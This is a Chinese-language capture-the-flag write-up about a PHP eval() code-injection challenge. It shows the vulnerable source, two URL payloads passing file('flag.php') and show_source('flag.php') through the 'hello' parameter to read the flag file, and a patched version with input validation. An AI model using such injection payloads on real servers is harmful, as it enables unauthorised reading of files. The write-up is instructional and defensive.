当前位置: 首页 > news >正文

CTF--eval

一、原网页:

二、步骤:

1.代码分析:

<?phpinclude "flag.php"; // 引入一个文件,该文件可能定义了一些变量(例如 $flag)$a = @$_REQUEST['hello']; // 从用户请求中获取参数 'hello' 的值,并将其赋值给变量 $a// 使用 @ 抑制错误(如果 'hello' 参数不存在,不会报错)。eval( "var_dump($a);"); // 使用 eval() 执行动态生成的代码,// 将动态解析 $a 的内容,并将其作为 PHP 代码运行// eval() 是一个非常危险的函数,因为它会执行传入的字符串作为代码show_source(__FILE__); // 显示当前 PHP 文件的源代码// 这意味着攻击者可以直接看到整个文件的内容,包括敏感信息(如引入的 // flag.php 文件)
?>

2.通过hello参数传入代码:

117.72.52.127:12437/?hello=file('flag.php')

输入结果: 

 

或者:

117.72.52.127:12437/?hello=show_source('flag.php')

输入结果: 

三、修复代码漏洞:

源代码:

<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
?>

修复后的代码: 

<?phpinclude "flag.php";$a = @$_REQUEST['hello']; if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);} else {echo "Invalid input.";}
?>

 修复后的代码分析:

<?phpinclude "flag.php";$a = @$_REQUEST['hello'];// 从用户请求中获取参数 'hello' 的值,并进行验证。// 验证 $a 是否为字符串,并且只包含预期的字符(例如字母和数字)。if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);// 安全地输出变量 $a 的值。} else {echo "Invalid input.";}// 不要在生产环境中显示源代码。// show_source(__FILE__); // 已移除
?>

 

相关文章:

  • 控制反转(IoC)和依赖注入(DI)实现及常用注解
  • 怎样利用 macOS 自带功能快速进行批量重命名文件教程
  • 服务器内存规格详解
  • 饭店管理系统(下篇):程序打包为exe给用户使用
  • 2. kubernetes操作概览
  • Gradle相关配置文件的关系、作用及使用方式
  • 【时时三省】(C语言基础)选择结构程序设计习题1
  • Python异步编程入门:Async/Await实战详解
  • vector常用的接口和底层
  • AI对话高阶玩法:解锁模型潜能的实用案例教程
  • 消息中间件面试题
  • 开源TTS项目GPT-SoVITS,支持跨语言合成、支持多语言~
  • java面向对象06:封装
  • cmd 终端输出乱码问题 |Visual Studio 控制台输出中文乱码解决
  • Day08【基于预训练模型分词器实现交互型文本匹配】
  • 考研数据结构之树与二叉树的应用:哈夫曼树、哈夫曼编码与并查集
  • JavaWeb开发 Servlet底层 从概念到HTTP请求 到web服务器再到servlet
  • ROS2 常用
  • How to run ERSEM
  • linux上安装vimplus 从零开始
  • 外交部:美方应在平等、尊重和互惠的基础上同中方开展对话
  • 发布亮眼一季度报后,东阿阿胶股价跌停:现金流隐忧引发争议
  • 商务部新闻发言人就波音公司飞回拟交付飞机答记者问
  • 新造古镇丨上海古镇朱家角一年接待164万境外游客,凭啥?
  • 北京朝阳涉住宅组团地块126亿元成交
  • 美军空袭也门拘留中心,已致68人死亡